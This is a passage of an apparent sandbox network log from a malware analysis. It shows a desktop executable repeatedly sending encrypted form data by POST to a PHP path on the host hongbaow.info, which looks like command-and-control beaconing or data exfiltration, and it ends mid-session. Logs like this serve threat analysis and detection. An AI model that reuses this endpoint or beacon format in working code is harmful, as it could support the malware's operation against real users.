2025-01-22 07:36:28 UTC	807	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8kMxfDnPrzxLQxAuiU%2FF%2FDvNO7TIaOVZt3U5QVznSH8Vpvd0k%2BpCpoe2JO4dUz0lmolx9oVh17Ba4i5eMeyXCYRM46QFgJYZookRxC9ctXKyBR3Pw4qlkxw9K2vDAQ1h"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf885efc7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1791&min_rtt=1788&rtt_var=676&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1610590&cwnd=218&unsent_bytes=0&cid=c29d403b2056add4&ts=327&x=0"
2025-01-22 07:36:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49983	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:29 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:29 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:29 UTC	807	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qwn1iSd1zU8lEr1DLJOj6Q0CKdBjr%2Fc3lc2HKxLRt3Utf6ipeAJtUEuhiIGVtp2tb89MBwDUBucNmY8oTmX9L4E%2F47yaN6625y0Q%2FEScCQ26SB3AXXyC8KXIW1UC0Nzc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf8fea717c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1831&min_rtt=1805&rtt_var=695&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1617728&cwnd=218&unsent_bytes=0&cid=1d5af0928602916e&ts=330&x=0"
2025-01-22 07:36:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49990	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:30 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:36:30 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:36:30 UTC	814	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1OgenctPCQG%2BRE5JR6CuBT3l%2BhqM8v9YXAT8kQY93mpZjr%2FKEQgqcW9r2FnygyT33Lyk92MRIZPvnVbwKGv2EmCjvQPCCIax8jT9rf8LgBiPqmYTJ%2B%2B%2BynyuOBmSrOEw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf956cf77c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1783&min_rtt=1778&rtt_var=678&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1170&delivery_rate=1600000&cwnd=218&unsent_bytes=0&cid=0aa865a47f00e600&ts=354&x=0"
2025-01-22 07:36:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49995	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:30 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:30 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:30 UTC	803	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j93fN7e4h77M4AW6LAA45pJFoA8biyZ7SfxUWzgPGE4vUlTVXNUzDWQL7khldw4uV3O5K%2BHjsYEQP30byH8DfZ1EaTi6uj7WJ6v04qfYza4f3LeCvyqMiEFWhLWgyhBU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf970e38de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1439&min_rtt=1432&rtt_var=552&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1955793&cwnd=246&unsent_bytes=0&cid=4e55207af726e8c3&ts=315&x=0"
2025-01-22 07:36:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50001	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:31 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:31 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:31 UTC	813	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y1VtarExTcQ%2BKkEq%2FLfEUAvaWgEpvjWWEWp%2BZ%2FGO9jYM1ODdnTcl2pf0%2FgrsU8asqfBFy2iM3YJ8hdPOJA0ihKWAiasFsjhaeSI%2BjMfB2pKFzrYQWcBrLWqfqck1gDPo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddf9e39587c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1770&min_rtt=1761&rtt_var=679&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1588683&cwnd=218&unsent_bytes=0&cid=caf54cbe279c7300&ts=333&x=0"
2025-01-22 07:36:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50011	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:32 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:32 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:34 UTC	820	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xVydVfS9KWunb5EHz257GLe%2FIc8EdS%2Fs6SX%2Br88zTTNijaxa8P4K%2FVCRZ%2F8BMzkgqYTxeCFAf5QBjUnDXyiq%2B54LGW6KqMA4XLbLP8VC2UCTabbpIPjTF%2B%2BxBF%2FfYpoJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfa4fdc742eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1554&min_rtt=1546&rtt_var=597&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1808049&cwnd=215&unsent_bytes=0&cid=a8715b7ce70f88d9&ts=1383&x=0"
2025-01-22 07:36:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50023	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:34 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:34 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:35 UTC	811	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:35 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aWWeutNfbLTozPz943PwPGqhdY5alZEfecdMHEw%2FhGeETI1D2%2F5MoiY5snbQckpsQUcJynMl%2BudV%2BNfaLYIE80a5IajuK2sohrX%2FqEm4n7qXjwYtwLW8BvTqAy4QrKjb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfb22b6342eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1529&min_rtt=1518&rtt_var=592&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1813664&cwnd=215&unsent_bytes=0&cid=fda964c95c5e17aa&ts=329&x=0"
2025-01-22 07:36:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50031	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:35 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:35 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:36 UTC	813	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fLguExuL0l5cMry%2BlrfAk4NnbsF6Bdrf4kSjw3yTRAyDGhkv%2Fyy4b7Wsl0Ha2nzVdjV1mgu%2BSB%2F8gG2qQPPFRyMJiYW8rVRREkkh7HCbkaAgaXt%2Bacn5Hsm9%2BFc1EYLl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfb8b83dde95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1449&min_rtt=1443&rtt_var=553&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1957104&cwnd=246&unsent_bytes=0&cid=6b93d74ee526d9f5&ts=329&x=0"
2025-01-22 07:36:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50035	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:36 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:36:36 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:36:36 UTC	804	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TAp2hGmIJ77n4jU1tLzGNPFWPcbBTgdZdceD5CDYJ286gYX1KGcDWhlUOBjl4jULM1OJREvcny%2FXPUgaLMdCSCXhZKTOlqeP1X0dCD4JvN1AGrSWU1qEx4BB0FjgVS00"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfb9a8e18ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1788&min_rtt=1787&rtt_var=674&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1170&delivery_rate=1620421&cwnd=237&unsent_bytes=0&cid=bc7e5da63b504d63&ts=326&x=0"
2025-01-22 07:36:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50041	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:36 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:36 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:37 UTC	805	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NN7d%2BDCn%2FbM042qxQQ805Q3r9yMWe965ycpMpWXhxkrvvs7NYp9Ea5pmGo9qz0BeQvSrJnsbXVNCum3TSzXI3ySRrhTOvdKOo7wjNX6jMxMDmBJlJpizPkqvVnBvz0g4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfbf3fddc358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1406&min_rtt=1400&rtt_var=538&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=2006872&cwnd=155&unsent_bytes=0&cid=f517834e03e95f24&ts=354&x=0"
2025-01-22 07:36:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50047	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:37 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:37 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:38 UTC	811	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f17r23GK5oArx%2FAzE3CGt80LaC7oVcOySso8gGx8o0c%2F5sEZxXtC4%2FqlLMquLKjNMn9oeVy5CvipyP208KjfFI1%2Fqo51Um8SSbvnWAFSV6RdAvYQbAs621J6%2FMrhE1Qs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfc5ac258ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1753&min_rtt=1748&rtt_var=666&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1628555&cwnd=237&unsent_bytes=0&cid=4b0fd542d3f87455&ts=341&x=0"
2025-01-22 07:36:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50054	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:38 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:38 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:39 UTC	815	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vV7i%2BnMcY5c7n3sGmxoK0NQ7iU%2BUhNrF7T4CBe0ibWlupaTTsfoqJRCZcvthOLHlWrXMLrFsoEB5EMXYT29jlLo%2FfuMJBqkwNdXlV4zOhF%2BQ%2Bnz8A%2FP9hiIW1%2BYQeEEz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddfcbadf18ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1762&min_rtt=1755&rtt_var=672&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1612368&cwnd=237&unsent_bytes=0&cid=20362365e85413f9&ts=335&x=0"
2025-01-22 07:36:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50063	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:39 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
